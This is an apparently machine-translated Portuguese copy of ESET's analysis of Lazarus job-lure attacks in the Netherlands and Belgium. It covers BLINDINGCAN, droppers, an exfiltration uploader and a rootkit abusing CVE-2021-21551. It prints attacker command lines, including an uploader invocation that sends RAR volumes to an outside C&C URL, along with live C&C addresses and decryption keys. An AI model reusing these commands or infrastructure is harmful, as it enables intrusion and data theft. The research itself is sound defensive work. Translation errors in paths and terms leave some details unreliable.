Campanhas do Lazarus com o tema Amazon na Holanda e na Bélgica PlatoBlockchain Data Intelligence. Pesquisa vertical. Ai.

Campanhas amazônicas de Lázaro na Holanda e na Bélgica

Pesquisadores da ESET descobriram ataques do Lazarus contra alvos na Holanda e na Bélgica que usam e-mails de spearphishing conectados a ofertas de emprego falsas

Os pesquisadores da ESET descobriram e analisaram um conjunto de ferramentas maliciosas que foram usadas pelo infame grupo Lazarus APT em ataques durante o outono de 2021. A campanha começou com e-mails de spearphishing contendo documentos maliciosos com tema da Amazon e teve como alvo um funcionário de uma empresa aeroespacial na Holanda , e jornalista político na Bélgica. O principal objetivo dos invasores era a exfiltração de dados. O Lazarus (também conhecido como HIDDEN COBRA) está ativo desde pelo menos 2009. É responsável por incidentes de alto perfil, como o Corte da Sony Pictures Entertainment e dezenas de milhões de dólares roubos cibernéticos em 2016, WannaCryptor (também conhecido como WannaCry) em 2017 e um longo histórico de ataques disruptivos contra Infraestrutura pública e crítica sul-coreana desde pelo menos 2011.

Principais descobertas neste blogpost:

  • A campanha Lazarus tinha como alvo um funcionário de uma empresa aeroespacial na Holanda e um jornalista político na Bélgica.
  • A ferramenta mais notável usada nesta campanha representa o primeiro abuso registrado da vulnerabilidade CVE-2021-21551. Essa vulnerabilidade afeta os drivers Dell DBUtil; A Dell forneceu uma atualização de segurança em maio de 2021.
  • Essa ferramenta, em combinação com a vulnerabilidade, desativa o monitoramento de todas as soluções de segurança em máquinas comprometidas. Ele usa técnicas contra mecanismos do kernel do Windows que nunca foram observadas em malware antes.
  • Lazarus também usou nesta campanha seu backdoor HTTP(S) completo conhecido como BLINDINGCAN.
  • A complexidade do ataque indica que Lazarus consiste em uma grande equipe sistematicamente organizada e bem preparada.

Ambos os alvos foram apresentados com ofertas de emprego – o funcionário na Holanda recebeu um anexo via LinkedIn Messaging, e a pessoa na Bélgica recebeu um documento por e-mail. Os ataques começaram depois que esses documentos foram abertos. Os invasores implantaram várias ferramentas maliciosas em cada sistema, incluindo droppers, loaders, backdoors HTTP(S) completos, uploaders e downloaders HTTP(S). A semelhança entre os droppers era que eles são projetos de código aberto trojanizados que descriptografam a carga útil incorporada usando cifras de bloco modernas com chaves longas passadas como argumentos de linha de comando. Em muitos casos, arquivos maliciosos são componentes DLL que foram carregados por EXEs legítimos, mas de um local incomum no sistema de arquivos.

A ferramenta mais notável fornecida pelos invasores foi um módulo de modo de usuário que ganhou a capacidade de ler e escrever na memória do kernel devido à CVE-2021-21551 vulnerabilidade em um driver Dell legítimo. Este é o primeiro abuso registrado dessa vulnerabilidade na natureza. Os invasores usaram o acesso de gravação da memória do kernel para desabilitar sete mecanismos que o sistema operacional Windows oferece para monitorar suas ações, como registro, sistema de arquivos, criação de processos, rastreamento de eventos etc., basicamente cegando as soluções de segurança de maneira muito genérica e robusta.

Neste blogpost, explicamos o contexto da campanha e fornecemos uma análise técnica detalhada de todos os componentes. Esta pesquisa foi apresentada na edição deste ano Conferência do Boletim de Vírus. Pela originalidade, o foco principal da apresentação está no componente malicioso utilizado neste ataque que utiliza a técnica Bring Your Own Vulnerable Driver (BYOVD) e aproveita a já mencionada vulnerabilidade CVE-2021-21551. Informações detalhadas estão disponíveis no white paper Lazarus & BYOVD: Mal para o núcleo do Windows.

Atribuímos esses ataques ao Lazarus com alta confiança, com base nos módulos específicos, no certificado de assinatura de código e na abordagem de intrusão em comum com campanhas anteriores do Lazarus, como Operação In(ter)cepção  e Operação DreamJob. A diversidade, o número e a excentricidade na implementação das campanhas do Lazarus definem esse grupo, bem como o fato de ele desempenhar os três pilares das atividades cibercriminosas: ciberespionagem, cibersabotagem e busca de ganhos financeiros.

Acesso inicial

Os pesquisadores da ESET descobriram dois novos ataques: um contra funcionários de um meio de comunicação na Bélgica e outro contra um funcionário de uma empresa aeroespacial na Holanda.

Na Holanda, o ataque afetou um computador Windows 10 conectado à rede corporativa, onde um funcionário foi contatado via LinkedIn Messaging sobre um suposto novo emprego em potencial, resultando no envio de um e-mail com um anexo de documento. Entramos em contato com o profissional de segurança da empresa afetada, que conseguiu compartilhar o documento malicioso conosco. O arquivo Word Amzon_Holanda.docx enviado para o destino é apenas um documento de estrutura de tópicos com um logotipo da Amazon (consulte a Figura 1). Quando aberto, o modelo remoto https://thetalkingcanvas[.]com/thetalking/globalcareers/us/5/careers/jobinfo.php?image=_DO.PROJ (Onde é um número de sete dígitos) é obtido. Não foi possível adquirir o conteúdo, mas assumimos que pode conter uma oferta de emprego para o programa espacial da Amazon, Project kuiper. Este é um método que Lázaro praticou no Operação In(ter)cepção e Operação DreamJob campanhas dirigidas às indústrias aeroespacial e de defesa.

Campanhas do Lazarus com o tema Amazon na Holanda e na Bélgica PlatoBlockchain Data Intelligence. Pesquisa vertical. Ai.

Figura 1. Documento com tema da Amazônia enviado ao destino na Holanda

Em poucas horas, várias ferramentas maliciosas foram entregues ao sistema, incluindo droppers, loaders, backdoors HTTP(S) completos, uploaders HTTP(S) e downloaders HTTP(S); consulte a seção Conjunto de ferramentas.

Em relação ao ataque na Bélgica, o funcionário de uma empresa de jornalismo (cujo endereço de e-mail estava disponível publicamente no site da empresa) foi contatado através de uma mensagem de e-mail com a isca AWS_EMEA_Legal_.docx em anexo. Como não obtivemos o documento, sabemos apenas seu nome, o que sugere que poderia estar fazendo uma oferta de emprego em um cargo legal. Depois de abrir o documento, o ataque foi acionado, mas interrompido pelos produtos ESET imediatamente, com apenas um executável malicioso envolvido. O aspecto interessante aqui é que, naquela época, esse binário foi validamente assinado com um certificado de assinatura de código.

Estratégias de Atribuição

Atribuímos ambos os ataques ao grupo Lazarus com alto nível de confiança. Isso se baseia nos seguintes fatores, que mostram relações com outras campanhas do Lazarus:

  1. Malware (o conjunto de intrusões):
    1. O backdoor HTTPS (SHA-1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2) tem fortes semelhanças com o backdoor BLINDINGCAN, relatado por CISA (US-CERT), e atribuído a HIDDEN COBRA, que é o codinome de Lazarus.
    2. O carregador HTTP(S) tem fortes semelhanças com a ferramenta C:ProgramDataIBM~DF234.TMP mencionado no relatório da HvS Consulting, Seção 2.10 Exfiltração.
    3. O caminho e o nome completos do arquivo, %ALLUSERSPROFILE%AdobeAdobe.tmp, é idêntico ao relatado pela Kaspersky em fevereiro de 2021 em um white paper sobre Lazarus Operação Threat Needle, que visa a indústria de defesa.
    4. O certificado de assinatura de código, que foi emitido para a empresa americana “A” ESCRITÓRIO MÉDICO, PLLC e usado para assinar um dos conta-gotas, também foi relatado em a campanha contra pesquisadores de segurança; veja também grupo Lazarus: campanha 2 TOY GUYS, Relatório de ameaças ESET 2021 T1, Página 11.
    5. Um tipo incomum de criptografia foi aproveitado nas ferramentas desta campanha do Lazarus: HC-128. Outras cifras menos prevalentes usadas por Lazarus no passado: uma variante Spritz de RC4 em os ataques watering hole contra bancos poloneses e mexicanos; depois Lazarus usou um RC4 modificado em Operação In(ter)cepção; uma cifra de fluxo A5/1 modificada foi usada em Ataque à cadeia de suprimentos WIZVERA VeraPort.
  2. A Infraestrutura:
    1. Para o servidor C&C de primeiro nível, os invasores não usam seus próprios servidores, mas invadem os existentes. Este é um comportamento típico, mas de baixa confiança, de Lazarus.

Toolset

Uma das características típicas do Lazarus é a entrega da carga útil final na forma de uma sequência de dois ou três estágios. Ele começa com um dropper – geralmente um aplicativo de código aberto trojanizado – que descriptografa a carga incorporada com uma cifra de bloco moderna como AES-128 (o que não é incomum para Lazarus, por exemplo, Códigos de livro de operação, ou um XOR ofuscado, após analisar os argumentos da linha de comando para uma chave forte. Apesar da carga incorporada não ser lançada no sistema de arquivos, mas carregada diretamente na memória e executada, denotamos esse malware como um conta-gotas. Malware que não possui um buffer criptografado, mas que carrega uma carga útil de um sistema de arquivos, denotamos como carregador.

Os droppers podem (Tabela 1) ou não (Tabela 2) ser carregados lateralmente por um processo legítimo (Microsoft). No primeiro caso aqui, o aplicativo legítimo está em um local incomum e o componente malicioso leva o nome da DLL correspondente que está entre as importações do aplicativo. Por exemplo, a DLL maliciosa coloui.dll é carregado lateralmente por um aplicativo de sistema legítimo Painel de controle de cores (colorcpl.exe), ambos localizados em C:ProgramDataPTC. No entanto, a localização habitual para esta aplicação legítima é % WINDOWS% System32.

Em todos os casos, pelo menos um argumento de linha de comando é passado durante o tempo de execução que serve como um parâmetro externo necessário para descriptografar a carga incorporada. Vários algoritmos de descriptografia são usados; veja a última coluna na Tabela 1 e na Tabela 2. Em vários casos quando o AES-128 é usado, há também um parâmetro interno codificado junto com o nome do processo pai e seu nome DLL, todos necessários para uma descriptografia bem-sucedida.

Tabela 1. DLLs maliciosas carregadas lateralmente por um processo legítimo de um local incomum

Pasta de localização Processo pai legítimo DLL carregada de lado malicioso Projeto trojanizado Parâmetro externo Algoritmo de descriptografia
C:ProgramDataPTC colorcpl.exe colorui.dll libcrypto do LibreSSL 2.6.5 BE93E050D9C0EAEB1F0E6AE13C1595B5
(Carrega BLINDINGCAN)
XOR
C: Windows Vss WFS.exe credui.dll GOnpp v1.2.0.0 (plug-in Notepad++) A39T8kcfkXymmAcq
(Carrega o carregador intermediário)
AES-128
C:Segurança do Windows WFS.exe credui.dll FingerText 0.56.1 (plug-in Notepad++) N/D AES-128
C:ProgramDataCaphyon wsmprovhost.exe mi.dll lecu 1.0.0 alfa 10 N/D AES-128
C:WindowsMicrosoft.NETFramework64v4.0.30319 SMSvcHost.exe cryptsp.dll lecu 1.0.0 alfa 10 N/D AES-128

Tabela 2. Outros malwares envolvidos no ataque

Pasta de localização malwares Projeto trojanizado Parâmetro externo Algoritmo de descriptografia
C:PúblicoCache msdxm.ocx libpcre 8.44 93E41C6E20911B9B36BC
(Carrega o downloader HTTP(S))
XOR
C:ProgramDataAdobe Adobe.tmp SQLite 3.31.1 S0RMM‑50QQE‑F65DN‑DCPYN‑5QEQA
(Carrega o atualizador HTTP(S))
XOR
C:PúblicoCache msdxm.ocx sslSniffer Desaparecido HC-128

Após a descriptografia bem-sucedida, o buffer é verificado quanto ao formato PE adequado e a execução é passada para ele. Este procedimento pode ser encontrado na maioria dos conta-gotas e carregadores. O início pode ser visto na Figura 2.

Campanhas do Lazarus com o tema Amazon na Holanda e na Bélgica PlatoBlockchain Data Intelligence. Pesquisa vertical. Ai.

Figura 2. O buffer descriptografado é um executável de 64 bits

Backdoor HTTP(S): BLINDINGCAN

Identificamos um backdoor HTTP(S) completo – um RAT conhecido como BLINDINGCAN – usado no ataque.

O dropper desta carga foi executado como %ALLUSERSPROFILE%PTCcolorui.dll; consulte a Tabela 1 para obter detalhes. A carga útil é extraída e descriptografada usando um XOR simples, mas com uma chave longa, que é uma string criada pela concatenação do nome do processo pai, é o próprio nome do arquivo e o parâmetro de linha de comando externo - aqui COLORCPL.EXECOLORUI.DLLBE93E050D9C0EAEB1F0E6AE13C1595B5.

A carga útil, SHA-1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2, é uma DLL VMProtect-ed de 64 bits. Uma conexão é feita para um dos locais remotos https://aquaprographix[.]com/patterns/Map/maps.php or https://turnscor[.]com/wp-includes/feedback.php. Dentro do código virtualizado, dinamizamos por meio dos seguintes artefatos RTTI muito específicos encontrados no executável: .?AVCHTTP_Protocol@@, .?AVCFileRW@@. Além disso, há uma semelhança no nível do código, pois os índices dos comandos começam com o mesmo valor, 8201; veja a Figura 3. Isso nos ajudou a identificar este RAT como BLINDINGCAN (SHA-1: 5F4FBD57319BD0D2DF31131E864FDDA9590A652D), relatado pela primeira vez por CISA. A versão recente dessa carga útil foi observada em outra campanha com tema da Amazon, onde BLINDINGCAN foi descartado por um cliente Putty-0.77 trojanizado: veja o blog da Mandiant.

Figura 3. Comparação de código das variantes simples (superior, desprotegida) e virtualizada (inferior, VMProtect-ed) do BLINDINGCAN, com um acordo de dois índices de comando, 8256 e 8201

Com base no número de códigos de comando disponíveis para o operador, é provável que um controlador do lado do servidor esteja disponível onde o operador possa controlar e explorar sistemas comprometidos. As ações feitas dentro desse controlador provavelmente resultam no envio dos IDs de comando correspondentes e seus parâmetros para o RAT em execução no sistema do destino. A lista de códigos de comando está na Tabela 3 e está de acordo com a análise feita por JPCERT/CC, Apêndice C. Não há verificações de validação de parâmetros como pastas ou nomes de arquivos. Isso significa que todas as verificações devem ser implementadas no lado do servidor, o que sugere que o controlador do lado do servidor é um aplicativo complexo, muito provavelmente com uma GUI amigável.

Tabela 3. Comandos do RAT

Command Descrição
8201 Envie informações do sistema, como nome do computador, versão do Windows e página de código.
8208 Obtenha os atributos de todos os arquivos em pastas RDP mapeadas (tsclientC etc).
8209 Obtenha recursivamente os atributos de arquivos locais.
8210 Execute um comando no console, armazene a saída em um arquivo temporário e carregue-o.
8211 Compacte os arquivos em uma pasta temporária e carregue-os.
8212 Baixe um arquivo e atualize suas informações de tempo.
8214 Crie um novo processo no console e colete a saída.
8215 Crie um novo processo no contexto de segurança do usuário representado pelo token especificado e colete a saída.
8217 Crie recursivamente uma lista de árvore de processos.
8224 Encerrar um processo.
8225 Excluir um arquivo com segurança.
8226 Habilitar E/S sem bloqueio via soquete TCP (socket(AF_INET , SOCK_STREAM , IPPROTO_TCP) com o código de controle FIONBIO).
8227 Defina o diretório atual para o processo atual.
8231 Atualize as informações de tempo do arquivo selecionado.
8241 Envie a configuração atual para o servidor C&C.
8242 Atualize a configuração.
8243 Liste recursivamente a estrutura de diretórios.
8244 Obtenha tipo e espaço livre em disco de uma unidade.
8249 Continue com o próximo comando.
8256 Solicite outro comando do servidor C&C.
8262 Reescreva um arquivo sem alterar sua última hora de gravação.
8264 Copie um arquivo para outro destino.
8265 Mover um arquivo para outro destino.
8272 Exclua um arquivo.
8278 Tire uma captura de tela.

Carregador intermediário

Agora descrevemos uma cadeia de três estágios onde, infelizmente, conseguimos identificar apenas os dois primeiros passos: um conta-gotas e um carregador intermediário.

O primeiro estágio é um conta-gotas localizado na C:WindowsVsscredui.dll e foi executado por meio de um aplicativo legítimo - mas vulnerável ao seqüestro de ordem de pesquisa de DLL - com o parâmetro (externo) C:WindowsVssWFS.exe A39T8kcfkXymmAcq. O programa WFS.exe é uma cópia do aplicativo Windows Fax and Scan, mas seu local padrão é % WINDOWS% System32.

O conta-gotas é um trojanizado plug-in GOnpp para Notepad++, escrito na linguagem de programação Go. Após a descriptografia, o dropper verifica se o buffer é um executável de 64 bits válido e, em caso afirmativo, carrega-o na memória, para que o segundo estágio esteja pronto para execução.

O objetivo deste estágio intermediário é carregar uma carga adicional na memória e executá-la. Ele executa essa tarefa em duas etapas. Ele primeiro lê e descriptografa o arquivo de configuração C:windowsSystem32wlansvc.cpl, que não é, como sua extensão pode sugerir, um executável (criptografado), mas um arquivo de dados contendo pedaços de 14944 bytes com configuração. Não tínhamos os dados específicos do ataque atual; entretanto, obtivemos tal configuração de outro ataque do Lazarus: veja a Figura 5. Espera-se que a configuração comece com uma palavra dupla representando o tamanho total do buffer restante (veja a Linha 69 na Figura 4 abaixo e a variável u32Tamanho Total), seguido por uma matriz de 14944 estruturas de byte-long contendo pelo menos dois valores: o nome da DLL de carregamento como um espaço reservado para identificar o restante da configuração (no deslocamento 168 da Linha 74 na Figura 4 e o membro destacado na Figura 5).

Campanhas do Lazarus com o tema Amazon na Holanda e na Bélgica PlatoBlockchain Data Intelligence. Pesquisa vertical. Ai.

Figura 4. A primeira etapa de descriptografar o arquivo de configuração e verificar se o nome da DLL de carregamento corresponde ao esperado

A segunda etapa é a ação de ler, descriptografar e carregar esse arquivo que representa muito provavelmente a terceira e última etapa. Espera-se que seja um executável de 64 bits e seja carregado na memória da mesma forma que o dropper de primeiro estágio manipulou o carregador intermediário. No início da execução, um mutex é criado como uma concatenação da string GlobalAppCompatCacheObject e a soma de verificação CRC32 de seu nome DLL (credui.dll) representado como um inteiro com sinal. O valor deve ser igual GlobalAppCompatCacheObject-1387282152 if wlansvc.cpl existe e -1387282152 de outra forma.

Campanhas do Lazarus com o tema Amazon na Holanda e na Bélgica PlatoBlockchain Data Intelligence. Pesquisa vertical. Ai.

Figura 5. Uma configuração do carregador intermediário. Espera-se que o nome do arquivo destacado corresponda ao nome do malware em execução; veja também a Figura 4.

Um fato interessante é o uso desse algoritmo de descriptografia (Figura 4, Linha 43 e 68), que não é tão prevalente no conjunto de ferramentas do Lazarus nem no malware em geral. As constantes 0xB7E15163 e 0x61C88647 (qual é -0x9E3779B9; ver Figura 6, Linha 29 e 35) em a expansão chave sugere que é o algoritmo RC5 ou RC6. Ao verificar o loop principal de descriptografia do algoritmo, identifica-se que é o mais complexo dos dois, RC6. Um exemplo de ameaça sofisticada usando uma criptografia tão incomum é o BananaUsurper do Equations Group; Vejo O relatório da Kaspersky de 2016.

Campanhas do Lazarus com o tema Amazon na Holanda e na Bélgica PlatoBlockchain Data Intelligence. Pesquisa vertical. Ai.

Figura 6. Expansão chave do RC6

Downloader HTTP(S)

Um downloader usando os protocolos HTTP(S) também foi entregue no sistema do alvo.

Foi instalado por um conta-gotas de primeiro estágio (SHA1: 001386CBBC258C3FCC64145C74212A024EAA6657), que é um trojanizado libpcre-8.44 biblioteca. Foi executado pelo comando

cmd.exe /c iniciar /b rundll32.exe C:PublicCachemsdxm.ocx,sCtrl 93E41C6E20911B9B36BC

(o parâmetro é uma chave XOR para extrair a carga útil incorporada; consulte a Tabela 2). O conta-gotas também alcança persistência criando o OneNoteTray.LNK arquivo localizado no %APPDATA%MicrosoftWindowsStart MenuProgramasStartup pasta.

O segundo estágio é um módulo VMProtect-ed de 32 bits que faz uma solicitação de conexão HTTP para um servidor C&C armazenado em sua configuração; veja a Figura 7. Ele usa o mesmo User Agent – Mozilla/5.0 (Windows NT 6.1; WOW64) Cromo/28.0.1500.95 Safári/537.36 – como BLINDINGCAN RAT, contém o artefato RTTI .?AVCHTTP_Protocolo@@ mas não .?AVCFileRW@@, e não possui recursos como fazer capturas de tela, arquivar arquivos ou executar um comando por meio da linha de comando. Ele é capaz de carregar um executável para um bloco de memória recém-alocado e passar a execução do código para ele.

Campanhas do Lazarus com o tema Amazon na Holanda e na Bélgica PlatoBlockchain Data Intelligence. Pesquisa vertical. Ai.

Figura 7. Uma configuração do downloader HTTP(S). Os valores destacados são o tamanho da configuração e o número de URLs. No ataque que observamos, todas as URLs eram idênticas.

Carregador HTTP(S)

Esta ferramenta Lazarus é responsável pela exfiltração de dados, utilizando os protocolos HTTP ou HTTPS.

Ele é entregue em duas etapas também. O conta-gotas inicial é um trojanizado sqlite-3.31.1 biblioteca. As amostras do Lazarus geralmente não contêm um caminho PDB, mas este carregador tem um, W:DevelopToolHttpUploaderHttpPOSTPro_BINRUNDLL64sqlite3.pdb, que também sugere sua funcionalidade imediatamente – um HTTP Uploader.

O dropper espera vários parâmetros de linha de comando: um deles é uma senha necessária para descriptografar e carregar a carga incorporada; o restante dos parâmetros são passados ​​para a carga útil. Nós não pegamos os parâmetros, mas felizmente um uso indiscriminado desta ferramenta foi observado em uma investigação forense por Consultoria HvS:

C:ProgramDataIBM~DF234.TMP S0RMM-50QQE-F65DN-DCPYN-5QEQA https://www.gonnelli.it/uploads/catalogo/thumbs/thumb.asp C:ProgramDataIBMrestore0031.dat data03 10000 -p 192.168.1.240 8080

O primeiro parâmetro, S0RMM-50QQE-F65DN-DCPYN-5QEQA, funcionou como uma chave para a rotina de descriptografia do dropper (para ser mais preciso, uma ofuscação foi realizada primeiro, onde o buffer criptografado foi XOR-ed com sua cópia deslocada em um byte; depois uma descriptografia XOR com a chave seguida). Os demais parâmetros são armazenados em uma estrutura e passados ​​para o segundo estágio. Para a explicação de seus significados, veja a Tabela 4.

Tabela 4. Parâmetros de linha de comando para o atualizador HTTP(S)

Parâmetro Valor Explicação
1 S0RMM-50QQE-F65DN-DCPYN-5QEQA Uma chave de descriptografia de 29 bytes.
2 https:// C&C para exfiltração de dados.
3 C:ProgramDataIBMrestore0031.dat O nome de um volume RAR local.
4 data03 O nome do arquivo no lado do servidor.
5 10,000 O tamanho de uma divisão RAR (máximo de 200,000 kB).
6 N/D Índice inicial de uma divisão.
7 N/D Índice final de uma divisão.
8 -p 192.168.1.240 8080 Uma troca -p
9 Endereço IP proxy
10 Porta proxy

O segundo estágio é o próprio uploader HTTP. O único parâmetro para este estágio é uma estrutura contendo o servidor C&C para a exfiltração, o nome do arquivo de um arquivo RAR local, o nome raiz de um arquivo RAR no lado do servidor, o tamanho total de um RAR dividido em kilobytes, um opcional intervalo de índices divididos e um opcional -p switch com o IP do proxy interno e uma porta; consulte a Tabela 4. Por exemplo, se o arquivo RAR for dividido em 88 partes, cada uma com 10,000 kB de tamanho, o uploader enviará essas divisões e as armazenará no lado do servidor com nomes dados03.000000.avi, dados03.000001.avi..., dados03.000087.avi. Consulte a Figura 8, Linha 42, onde essas strings são formatadas.

O User-Agent é o mesmo do BLINDINGCAN e do downloader HTTP(S),  Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36.

Campanhas do Lazarus com o tema Amazon na Holanda e na Bélgica PlatoBlockchain Data Intelligence. Pesquisa vertical. Ai.

Figura 8. A exfiltração de RAR se divide em um servidor C&C

FudModule RootkitName

Identificamos uma biblioteca vinculada dinamicamente com o nome interno FudModule.dll que tenta desabilitar vários recursos de monitoramento do Windows. Ele faz isso modificando as variáveis ​​do kernel e removendo os retornos de chamada do kernel, o que é possível porque o módulo adquire a capacidade de escrever no kernel aproveitando as técnicas BYOVD - o específico CVE-2021-21551 vulnerabilidade no driver Dell dbutil_2_3.sys.

A análise completa deste malware está disponível como um documento VB2022 Lazarus & BYOVD: mal para o núcleo do Windows.

Outros malwares

Droppers e carregadores adicionais foram descobertos nos ataques, mas não obtivemos os parâmetros necessários para descriptografar as cargas incorporadas ou os arquivos criptografados.

Lecu trojanizado

Um projeto lecu de Alec Musafa serviu aos atacantes como uma base de código para a trojanização de dois carregadores adicionais. Por seus nomes de arquivos, eles foram disfarçados como bibliotecas da Microsoft mi.dll (Infraestrutura de Gestão) e cryptsp.dll (Cryptographic Service Provider API), respectivamente, e isso ocorreu devido ao carregamento lateral pretendido pelos aplicativos legítimos wsmprovhost.exe e SMSvcHost.exe, respectivamente; consulte a Tabela 1.

O objetivo principal desses carregadores é ler e descriptografar executáveis ​​localizados em fluxos de dados alternativos (ADS) em C:ProgramDataCaphyonmi.dll:Zone.Identifier e C:Arquivos de programasWindows Media PlayerSkinsDarkMode.wmz:Zone.Identifier, respectivamente. Como não adquirimos esses arquivos, não se sabe qual carga útil está oculta lá; no entanto, a única certeza é que é um executável, pois o processo de carregamento segue a descriptografia (veja a Figura 2). O uso de ADS não é novo, pois a Ahnlab relatou um Ataque de Lázaro contra empresas sul-coreanas em junho de 2021 envolvendo tais técnicas.

FingerText Trojanizado

A ESET bloqueou um aplicativo de código aberto trojanizado adicional, FingerText 0.5.61 por erinata, localizado em %WINDIR%securitycreui.dll. Os parâmetros de linha de comando corretos não são conhecidos. Como em alguns dos casos anteriores, três parâmetros foram necessários para a descriptografia AES-128 da carga incorporada: o nome do processo pai, WFS.exe; o parâmetro interno, mg89h7MsC5Da4ANi; e o parâmetro externo ausente.

SSLSniffer trojanizado

O ataque contra um alvo na Bélgica foi bloqueado no início de sua cadeia de implantação, de modo que apenas um arquivo foi identificado, um dropper de 32 bits localizado em C:PublicCachemsdxm.ocx. É um componente sslSniffer do loboSSL projeto que foi trojanizado. No momento do ataque, foi validamente assinado com um certificado emitido para “A” ESCRITÓRIO MÉDICO, PLLC (veja a Figura 8), que já expirou.

Campanhas do Lazarus com o tema Amazon na Holanda e na Bélgica PlatoBlockchain Data Intelligence. Pesquisa vertical. Ai.

Figura 9. Certificado validamente assinado, mas já expirado

Possui duas exportações maliciosas que a DLL legítima não possui: SetOfficeCertInit e Definir OfficeCert. Ambas as exportações requerem exatamente dois parâmetros. O objetivo da primeira exportação é estabelecer persistência criando OfficeSync.LNK, localizado em %APPDATA%MicrosoftWindowsStart MenuProgramasStartup, apontando para a DLL maliciosa e executando sua segunda exportação via rundll32.exe com os parâmetros passados ​​para si mesmo.

A segunda exportação, Definir OfficeCert, usa o primeiro parâmetro como uma chave para descriptografar a carga útil incorporada, mas não foi possível extraí-la porque a chave não é conhecida por nós.

O algoritmo de descriptografia também é interessante, pois os invasores usam HC-128 com a chave de 128 bits como primeiro parâmetro e para seu vetor de inicialização de 128 bits, a string ffffffffffffff. As constantes que revelam a cifra são exibidas na Figura 10.

Campanhas do Lazarus com o tema Amazon na Holanda e na Bélgica PlatoBlockchain Data Intelligence. Pesquisa vertical. Ai.

Figura 10. A configuração da chave com constantes destacadas sugerindo a cifra HC-128

Conclusão

Nesse ataque, assim como em muitos outros atribuídos ao Lazarus, vimos que muitas ferramentas foram distribuídas mesmo em um único endpoint alvo em uma rede de interesse. Sem dúvida, a equipe por trás do ataque é bastante grande, sistematicamente organizada e bem preparada. Pela primeira vez, os invasores conseguiram aproveitar o CVE-2021-21551 para desativar o monitoramento de todas as soluções de segurança. Não foi feito apenas no espaço do kernel, mas também de maneira robusta, usando uma série de componentes internos do Windows pouco ou não documentados. Sem dúvida, isso exigia profunda pesquisa, desenvolvimento e habilidades de teste.

Do ponto de vista dos defensores, parece mais fácil limitar as possibilidades de acesso inicial do que bloquear o robusto conjunto de ferramentas que seria instalado depois que determinados invasores se firmassem no sistema. Como em muitos casos no passado, um funcionário sendo vítima da atração dos invasores foi o ponto inicial do fracasso aqui. Em redes sensíveis, as empresas devem insistir para que os funcionários não sigam suas agendas pessoais, como a procura de emprego, em dispositivos pertencentes à infraestrutura da empresa.

Para quaisquer dúvidas sobre nossa pesquisa publicada no WeLiveSecurity, entre em contato conosco em ameaçaintel@eset.com.

A ESET Research agora também oferece relatórios de inteligência APT privados e feeds de dados. Para qualquer dúvida sobre este serviço, visite o Inteligência de ameaças ESET Disputas de Comerciais.

IoCs

Uma lista abrangente de Indicadores de Comprometimento e amostras pode ser encontrada em nosso GitHub repositório.

SHA-1 Nome do arquivo Detecção Descrição
296D882CB926070F6E43C99B9E1683497B6F17C4 FudModule.dll Win64/Rootkit.NukeSped.A Um módulo de modo de usuário que opera com a memória do kernel.
001386CBBC258C3FCC64145C74212A024EAA6657 C:PublicCachemsdxm.ocx Win32/NukeSped.KQ Um dropper do downloader HTTP(S).
569234EDFB631B4F99656529EC21067A4C933969 colorui.dll Win64/NukeSped.JK Um conta-gotas de BLINDINGCAN carregado por um colorcpl.exe legítimo.
735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2 N/D Win64/NukeSped.JK Uma variante de 64 bits do BLINDINGCAN RAT.
4AA48160B0DB2F10C7920349E3DCCE01CCE23FE3 N/D Win32/NukeSped.KQ Um downloader HTTP(S).
C71C19DBB5F40DBB9A721DC05D4F9860590A5762 Adobe.tmp Win64/NukeSped.JD Um dropper do carregador HTTP(S).
97DAAB7B422210AB256824D9759C0DBA319CA468 credui.dll Win64/NukeSped.JH Um conta-gotas de um carregador intermediário.
FD6D0080D27929C803A91F268B719F725396FE79 N/D Win64/NukeSped.LP Um carregador HTTP(S).
83CF7D8EF1A241001C599B9BCC8940E089B613FB N/D Win64/NukeSped.JH Um carregador intermediário que carrega uma carga adicional do sistema de arquivos.
C948AE14761095E4D76B55D9DE86412258BE7AFD DBUtil_2_3.sys Win64/DBUtil.A Um driver vulnerável legítimo da Dell, descartado pelo FudModule.dll.
085F3A694A1EECDE76A69335CD1EA7F345D61456 cryptsp.dll Win64/NukeSped.JF Um conta-gotas na forma de uma biblioteca lecui trojanizada.
55CAB89CB8DABCAA944D0BCA5CBBBEB86A11EA12 mi.dll Win64/NukeSped.JF Um conta-gotas na forma de uma biblioteca lecui trojanizada.
806668ECC4BFB271E645ACB42F22F750BFF8EE96 credui.dll Win64/NukeSped.JC Um plug-in FingerText trojanizado para o Notepad++.
BD5DCB90C5B5FA7F5350EA2B9ACE56E62385CA65 msdxm.ocx Win32/NukeSped.KT Uma versão trojanizada do sslSniffer do LibreSSL.

Network

IP provedor do cliente Visto pela primeira vez Adicionar ao carrinho
67.225.140[.]4 Liquid Web, LLC 2021-10-12 Um site legítimo baseado em WordPress comprometido que hospeda o servidor C&C
https://turnscor[.]com/wp-includes/feedback.php
50.192.28[.]29 Comcast Cable Communications, LLC 2021-10-12 Um site legítimo comprometido que hospeda o servidor C&C https://aquaprographix[.]com/patterns/Map/maps.php
31.11.32[.]79 Aruba SpA 2021-10-15 Um site legítimo comprometido que hospeda o servidor C&C http://www.stracarrara[.]org/images/img.asp

Técnicas MITER ATT e CK

Esta tabela foi construída usando versão 11 da estrutura MITER ATT & CK.

Tática ID Nome Descrição
Execução T1106 API nativa O backdoor HTTP(S) do Lazarus usa a API do Windows para criar novos processos.
T1059.003 Interpretador de comandos e scripts: Shell de comando do Windows Malware de backdoor HTTP(S) usa cmd.exe para executar ferramentas de linha de comando
Evasão de Defesa T1140 Desofuscar / decodificar arquivos ou informações Muitas das ferramentas do Lazarus são armazenadas em um estado criptografado no sistema de arquivos.
T1070.006 Remoção do indicador no host: Timestomp O backdoor HTTP(S) do Lazarus pode modificar os atributos de tempo de arquivo de um arquivo selecionado.
T1574.002 Fluxo de execução de sequestro: carregamento lateral de DLL Muitos dos droppers e loaders do Lazarus usam um programa legítimo para seu carregamento.
T1014 Rootkit O módulo user-to-kernel do Lazarus pode desativar os recursos de monitoramento do SO.
T1027.002 Arquivos ou informações ofuscadas: pacote de software Lazarus usa Themida e VMProtect para ofuscar seus binários
T1218.011 Execução de proxy binário do sistema: Rundll32 Lazarus usa rundll32.exe para executar suas DLLs maliciosas
Comando e controle T1071.001 Protocolo de camada de aplicativo: protocolos da Web O backdoor HTTP(S) do Lazarus usa HTTP e HTTPS para se comunicar com seus servidores C&C.
